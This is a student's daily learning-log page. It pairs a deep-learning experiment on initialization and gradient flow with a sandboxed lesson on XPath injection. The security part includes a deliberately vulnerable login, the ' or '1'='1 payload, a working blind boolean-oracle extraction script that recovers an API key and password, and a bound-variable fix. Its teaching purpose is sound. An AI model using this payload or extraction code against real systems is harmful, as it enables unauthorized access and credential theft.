|
Última actualización: 2026-12-02
DAY 025 OF 1600 · 2026-10-28 Day 025 — A forward pass that looks healthy, and a login that was really a queryA student's private learning log · one concept at a time. Date: 2026-10-28 · Day: 25 of 1600 Log: a student's private learning log · one concept at a time. --- Concept #25 — Initialization decides whether 40 layers is depth or a wallMA04, Deep Learning. The vanishing gradient is usually explained as "the activation squashes the signal, so it is small by the time it reaches the bottom". That sentence is not wrong, but it hides where the decision is actually made. Take a stack of L layers, all the same width, tanh between them. The signal going forward multiplies by one gain per layer, and the gradient coming back multiplies by the inverse of that same gain per layer, because the Jacobian of a layer is W · diag(f'(z)) and the derivative is the same object read in the other direction. So a single number per layer — call it g — decides everything: after 39 layers the bottom sees g^39 times the top. Nothing else in the network compounds like that. Depth is the exponent, and g is the whole fight. g has two factors: how big the weights are, and how much the activation's derivative takes away. That second factor is why the right scale depends on the activation, and why "just make the weights small" is not a fix — it moves the problem from one side to the other. What I tried today: a 40-layer, width-64 stack in plain Python, four combinations of initialization and activation, same seed and same input vector. For each one I measure two columns at five depths: the spread of the activations going forward, and the norm of the gradient coming back from a flat loss at the top. Then I compute the per-layer factor the gradient actually felt, as (bottom/top)^(1/39) , so the table ends in one number per row. # init_depth.py - MA04 (Deep Learning). Why initialization owns the depth. # A 40-layer stack, width 64, stdlib only. Four init/activation pairs. # Two columns per pair: the spread of the signal going forward, and the size of # the gradient coming back. The forward one is what a sanity check prints. import math import random DEPTH, WIDTH = 40, 64 PROBE = (1, 10, 20, 30, 40) # steps walked backward from the top def build(kind, rng): if kind == "gauss std=1": scale = 1.0 elif kind == "xavier": scale = math.sqrt(2.0 / (WIDTH + WIDTH)) else: # he scale = math.sqrt(2.0 / WIDTH) return [[[rng.gauss(0.0, 1.0) * scale for _ in range(WIDTH)] for _ in range(WIDTH)] for _ in range(DEPTH)] def forward(layers, x, act): acts = [x] a = x for W in layers: z = [sum(W[i][j] * a[j] for j in range(WIDTH)) for i in range(WIDTH)] a = [math.tanh(v) for v in z] if act == "tanh" else [v if v > 0.0 else 0.0 for v in z] acts.append(a) return acts def backward(layers, acts, act): d = [1.0] * WIDTH # dL/da at the top: a flat loss per_step = {} for s in range(1, DEPTH + 1): k = DEPTH - s + 1 a = acts[k] g = [(1.0 - v * v) for v in a] if act == "tanh" else [1.0 if v > 0.0 else 0.0 for v in a] dz = [d[i] * g[i] for i in range(WIDTH)] d = [sum(layers[k - 1][i][j] * dz[i] for i in range(WIDTH)) for j in range(WIDTH)] per_step[s] = math.sqrt(sum(v * v for v in d)) return per_step def std(v): m = sum(v) / len(v) return math.sqrt(sum((x - m) ** 2 for x in v) / len(v)) print("40 layers, width 64, input ~ N(0,1), gradient of a flat loss at the top") print("same weights, same input, same seed for both columns in a row\n") print(f"{'init + activation':<21}{'steps back':>10}{'std(a)':>10}{'|grad|':>12}") rows = [] for kind, act in (("gauss std=1", "tanh"), ("xavier", "tanh"), ("xavier", "relu"), ("he", "relu")): rng = random.Random(7) layers = build(kind, rng) x = [rng.gauss(0.0, 1.0) for _ in range(WIDTH)] acts = forward(layers, x, act) per_step = backward(layers, acts, act) for s in PROBE: print(f"{kind + ' + ' + act:<21}{s:>10}{std(acts[DEPTH - s + 1]):>10.4f}{per_step[s]:>12.3e}") gain = (per_step[DEPTH] / max(per_step[1], 1e-300)) ** (1.0 / (DEPTH - 1)) rows.append((kind, act, gain)) print() print("per-layer factor applied to the gradient on the way down:") for kind, act, gain in rows: print(f" {kind + ' + ' + act:<21}{gain:>8.3f}") print() print("1.00 keeps the bottom learning as fast as the top. above 1 explodes,") print("below 1 vanishes, and 39 layers turn any drift into the whole story.") Real output (Python 3, stdlib only, this session; "steps back 40" is the layer next to the input, "steps back 1" is the layer next to the output): 40 layers, width 64, input ~ N(0,1), gradient of a flat loss at the top same weights, same input, same seed for both columns in a row init + activation steps back std(a) |grad| gauss std=1 + tanh 1 0.9226 2.222e+01 gauss std=1 + tanh 10 0.9088 8.737e+02 gauss std=1 + tanh 20 0.8952 5.560e+04 gauss std=1 + tanh 30 0.9592 1.025e+08 gauss std=1 + tanh 40 0.9207 5.910e+10 xavier + tanh 1 0.0837 8.896e+00 xavier + tanh 10 0.1447 7.576e+00 xavier + tanh 20 0.1939 5.552e+00 xavier + tanh 30 0.1910 3.912e+00 xavier + tanh 40 0.6175 6.227e-01 xavier + relu 1 0.0000 7.363e+00 xavier + relu 10 0.0000 5.052e-01 xavier + relu 20 0.0006 1.854e-02 xavier + relu 30 0.0261 5.413e-04 xavier + relu 40 0.6533 3.017e-05 he + relu 1 0.7188 1.041e+01 he + relu 10 1.1597 1.617e+01 he + relu 20 0.9284 1.898e+01 he + relu 30 1.1805 1.774e+01 he + relu 40 0.9238 3.163e+01 per-layer factor applied to the gradient on the way down: gauss std=1 + tanh 1.744 xavier + tanh 0.934 xavier + relu 0.728 he + relu 1.029 1.00 keeps the bottom learning as fast as the top. above 1 explodes, below 1 vanishes, and 39 layers turn any drift into the whole story. What I understood from it: four things, and the first one is the reason I trust this table less than it looks. First, the forward column cannot see the backward one. With std=1 Gaussian weights and tanh, the activation std is 0.92 at every depth — input side 0.9207, output side 0.9226, flat to two decimals. Any sanity check on activations passes. And the gradient arriving at the bottom is 5.91e+10 against 22.2 at the top: the bottom of that network sees gradients about 2.7e9 times larger than the top, at 1.744 per layer. This is not a vanishing problem, it is the opposite one, and it is invisible from the forward pass. It is also the classic reason a training run looks calm for a few hundred steps and then produces NaN. Second, the flat forward column is not luck, it is saturation. std ≈ 0.92 with tanh means most values are pushed near ±1, where the derivative is small — so the signal looks conserved precisely because it has been clipped into a shape that does not carry much information. A std of ~1 is the number I would have called healthy. It is the number that hides the clipping. Third, Xavier is not a neutral choice, and Xavier with ReLU is a broken one. With tanh it drifts at 0.934 per layer: 14× less gradient at the bottom than at the top over 39 layers, and the forward std decays 0.62 → 0.084. The cause is honest bookkeeping: Xavier sets the scale so the pre-activation variance stays at 1, but tanh itself contracts the spread and its average derivative is below 1, so the fixed point of the iteration is zero, not one. With ReLU the same scale pays half of everything the ReLU zeroes: the forward std hits 0.0000 on the output side and the bottom gradient is 3.0e-05 against 7.36 at the top — 2.4e5 times smaller. That is the entire argument for He's factor of 2 instead of 1, and I had read it as a minor constant before running this. Fourth, only he + relu keeps both columns within one order of magnitude across 40 layers: 0.9238 → 0.7188 forward, 31.6 → 10.4 backward, 1.029 per layer. That is what "the initialization works" means operationally — not that the numbers are pretty, but that the compounding stops. Honest limits: one seed, one input vector, no batch statistics, no optimizer, no batchnorm, tanh and ReLU only, and 40 layers is already generous for a net this small. This measures how scale propagates at initialization , not whether the net trains. The factor I want next is the one I did not measure: a skip connection multiplies the path length by a sum instead of a product, which is the other way to stop the compounding — and it is a claim until I run it. --- Security #25 — The login was never a comparison, it was a query (XPath injection, CWE-643)Twenty-four classes, and this one is the same composition bug as SQL injection with a different parser underneath: the value the user typed is concatenated into a language expression and then handed to an evaluator that cannot tell syntax from data. The code looks like a filter: def vulnerable_login(user, pw): # exactly the line that ships: interpolate, then evaluate expr = f"//user[name='{user}' and pass='{pw}']" return [(h.findtext("name"), h.findtext("role"), h.findtext("apikey")) for h in DOC.xpath(expr)] XPath is a full expression language: or , and , = , count() , substring() , string-length() , translate() , and //x | //y for unions. So the password field is not compared, it is parsed . ' or '1'='1 closes the string, adds a predicate that is always true, and opens a literal so the rest of the expression stays legal — the login returns the first row in the document, which is usually the administrator. The nastier half is that you do not need the response body at all. Since any predicate can be appended, the server becomes a one-bit oracle: 200 for "the condition is true", 401 for "false". That is enough to read a document field by field, character by character, with count() for the row count, string-length() for the length, and substring() plus translate() for the bytes. Blind, no error messages, nothing in the body. The pattern I studied — one bit per request, and a membership test, because XPath 1.0 has no ord() : CALLS = [0] TRUE_HITS = [0] def oracle(port, condition): """True / False only. The injection closes the name quote, appends the condition, and opens a harmless literal so the rest of the query stays legal.""" payload = f"x' or {condition} or name='zz" CALLS[0] += 1 st, _ = ask(port, payload, "y") TRUE_HITS[0] += st == 200 return st == 200 # XPath 1.0 has no ord(), and '<' between two strings is a numeric comparison, # so it turns them into NaN and is always false. The portable boolean is a # membership test: translate() drops every char that is in the candidate set. ALPHA = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-" def leak_string(port, expr, length): out = "" for i in range(1, length + 1): lo, hi = 0, len(ALPHA) ch = f"substring({expr},{i},1)" while hi - lo > 1: mid = (lo + hi) // 2 subset = ALPHA[lo:mid] if oracle(port, f"string-length(translate({ch},'{subset}',''))=0"): hi = mid else: lo = mid out += ALPHA[lo] return out My first attempt at the comparison was substring(expr,i,1) < 'K' and it extracted '~~~~~~~~~~~~~~~~~~~~~~~~' — fourteen tildes. Not a server quirk: in XPath 1.0, < and > convert both operands to numbers , so two strings become NaN, and every comparison is false. The oracle was answering "no" to every question, and the binary search dutifully walked to the last character of my alphabet. A blind extraction that always says no still produces a string. If I had not noticed the tildes were nonsense I would have "proved" the leak with garbage. What I understood about preventing it: the input must be a value, not syntax. XPath 1.0 has variables, and binding them is the whole fix — the expression is a constant string, the input never touches the parser: def fixed_login(user, pw): # input is a VALUE, never syntax: $u and $p are bound variables expr = "//user[name=$u and pass=$p]" return [(h.findtext("name"), h.findtext("role"), h.findtext("apikey")) for h in DOC.xpath(expr, u=user, p=pw)] There is no string to break out of, so ' or '1'='1 is stored as a username of seven characters and matches nothing. The second half is the same as always: never let one query answer both "does this user exist" and "is this the password" — look the user up by name, then verify the password out of band with a constant-time comparison — and validate the field you are filtering on against a fixed list instead of interpolating a free-form path. Sandbox check (two local servers on 127.0.0.1, in-memory XML document, both stopped at the end): [VULN] 127.0.0.1:8751 expr = "//user[name='" + user + "' and pass='" + pass + "']" honest login -> 200 admin role=admin apikey=K7QX-2M4P-9ZR1 honest login, bad pass -> 401 bad credentials injected ' or '1'='1 -> 200 admin role=admin apikey=K7QX-2M4P-9ZR1 [ORACLE] boolean only: 200 or 401, the body is never used count(//user) -> 3 rows, 4 requests blind (//user)[1]/apikey -> 'K7QX-2M4P-9ZR1' (14 chars, 99 requests) blind (//user)[1]/pass -> 's3cret-admin-pass' (17 chars, 118 requests) [FIX] 127.0.0.1:8752 expr = "//user[name=$u and pass=$p]" (bound variables) honest login -> 200 admin role=admin apikey=K7QX-2M4P-9ZR1 injection attempts -> 24/24 rejected (401) same blind extraction -> '----' in 24 requests, 0 of them answered 200 admin row served -> vuln=92 fixed=1 (the honest login only) both sandbox servers stopped, ports 8751/8752 closed What I understood: the one line that made this possible is a line I have written in XML handling without thinking, because findall with a formatted string feels like a filter and reads like one. It is not — the document is being asked a question in a language, and the user got to write part of the question. Two honest notes. The 92 admin rows on the left are every 200 the oracle received, which is the point: one bit per request, and I read an API key and a password out of a service that only ever said "ok" or "no". On the right the same extraction returns garbage in 24 requests with zero successful oracles — the attack does not get harder , it has nothing to talk to. And the alphabet was guessed: [a-z A-Z 0-9 -] , which fits these demo fields and would not fit a base64 secret. Blind extraction leaks what its alphabet covers, and I only knew the strings matched because I wrote the document. --- Day 25 notesConcept #25: 4 init/activation pairs, 40 layers, forward std and backward gradient measured, per-layer factor computed. Output above. ✔ Security #25: XPath injection, boolean oracle, 14 and 17 chars recovered blind, 24/24 rejected with bound variables. Sandbox only, both servers stopped. ✔ 1575 days left. One at a time. Written by my own daily machine, checked by me. · Day 025 of 1600 · Matías Rathgeb [ inicio ] [ proyectos ] [ posts ] [ daylog ] Página estática. Sin cookies, sin javascript, sin fuentes externas. Contacto: ver inicio. |